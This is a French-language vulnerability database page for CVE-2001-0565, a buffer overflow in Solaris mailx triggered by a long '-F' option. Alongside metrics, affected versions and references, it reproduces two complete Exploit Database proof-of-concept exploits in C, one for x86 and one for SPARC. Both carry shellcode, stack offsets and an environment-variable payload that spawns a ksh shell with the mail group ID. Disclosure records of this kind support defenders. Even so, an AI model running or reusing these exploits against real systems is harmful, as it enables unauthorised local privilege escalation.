CVE-2001-0565 : Détail

CVE-2001-0565

0.05%V3
Local
2002-03-09
04h00 +00:00
2002-02-25
23h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in mailx in Solaris 8 and earlier allows a local attacker to gain additional privileges via a long '-F' command line option.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 20772

Date de publication : 2001-03-31 22h00 +00:00
Auteur : Pablo Sor
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/2610/info Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server. A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address. This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. #include <fcntl.h> /* /usr/bin/mailx overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 04/2001 [email protected], [email protected] works against x86 solaris 8 default offset should work. usage: bash$ id uid=100(laika) gid=1(other) bash$ ./mailx-exp Subject: tomy . EOT [wait...] $ id uid=100(laika) gid=1(other) egid=6(mail) */ long get_esp() { __asm__("movl %esp,%eax"); } int main(int ac, char **av) { char shell[]= "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; unsigned long magic = get_esp() + 2075; /* default offset */ unsigned char buf[1150]; char *envi; envi = (char *)malloc(300*sizeof(char)); memset(envi,0x90,300); memcpy(envi+280-strlen(shell),shell,strlen(shell)); memcpy(envi,"SOR=",4); envi[299]=0; putenv(envi); symlink("/bin/ksh","/tmp/xx"); memset(buf,0x41,1150); memcpy(buf+1116,&magic,4); buf[1149]=0; execl("/usr/bin/mailx","mailx","-F",buf,NULL); }
Exploit Database EDB-ID : 20773

Date de publication : 2001-04-14 22h00 +00:00
Auteur : Pablo Sor
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/2610/info Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server. A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address. This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. #include <fcntl.h> /* /usr/bin/mailx overflow proof of conecpt. Pablo Sor, Buenos Aires, Argentina 05/2001 [email protected], [email protected] works against Solaris 8 (SPARC) default offset should work. $ id uid=100(laika) gid=1(other) $ ./mailx-exp Subject: tomy . EOT [wait..] $ id uid=100(laika) gid=1(other) egid=6(mail) */ int main(int ac, char **av) { char shell[]= "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */ "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */ /* LSD-pl.net guys shellcode */ "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } unsigned long magic = get_sp() + 1444 ; /* default offset */ unsigned char buf[1220]; char *envi; int cont; envi = (char *)malloc(1000*sizeof(char)); for (cont=3;cont<990;cont=cont+4) { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; } for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803]; memcpy(envi,"SO=",3); envi[999]=0; putenv(envi); memset(buf,0x41,1220); memcpy(buf+1120+24,&magic,4); /* fake %fp */ memcpy(buf+1120+28,&magic,4); /* fake %i7 */ buf[1220]=0; execl("/usr/bin/mailx","mailx","-F",buf,NULL); }

Products Mentioned

Configuraton 0

Sun>>Solaris >> Version 2.5

    Sun>>Solaris >> Version 2.5

      Sun>>Solaris >> Version 2.5.1

        Sun>>Solaris >> Version 2.5.1

          Sun>>Solaris >> Version 2.6

          Sun>>Solaris >> Version 2.6

            Sun>>Solaris >> Version 7.0

              Sun>>Solaris >> Version 7.0

                Sun>>Solaris >> Version 8.0

                  Sun>>Solaris >> Version 8.0

                    Sun>>Sunos >> Version To (including) 5.9

                    Sun>>Sunos >> Version -

                    Sun>>Sunos >> Version 5.5

                    Sun>>Sunos >> Version 5.5.1

                    Sun>>Sunos >> Version 5.7

                    Références

                    http://www.securityfocus.com/bid/2610
                    Tags : vdb-entry, x_refsource_BID
                    http://online.securityfocus.com/archive/1/184210
                    Tags : mailing-list, x_refsource_BUGTRAQ
                    http://www.kb.cert.org/vuls/id/446864
                    Tags : third-party-advisory, x_refsource_CERT-VN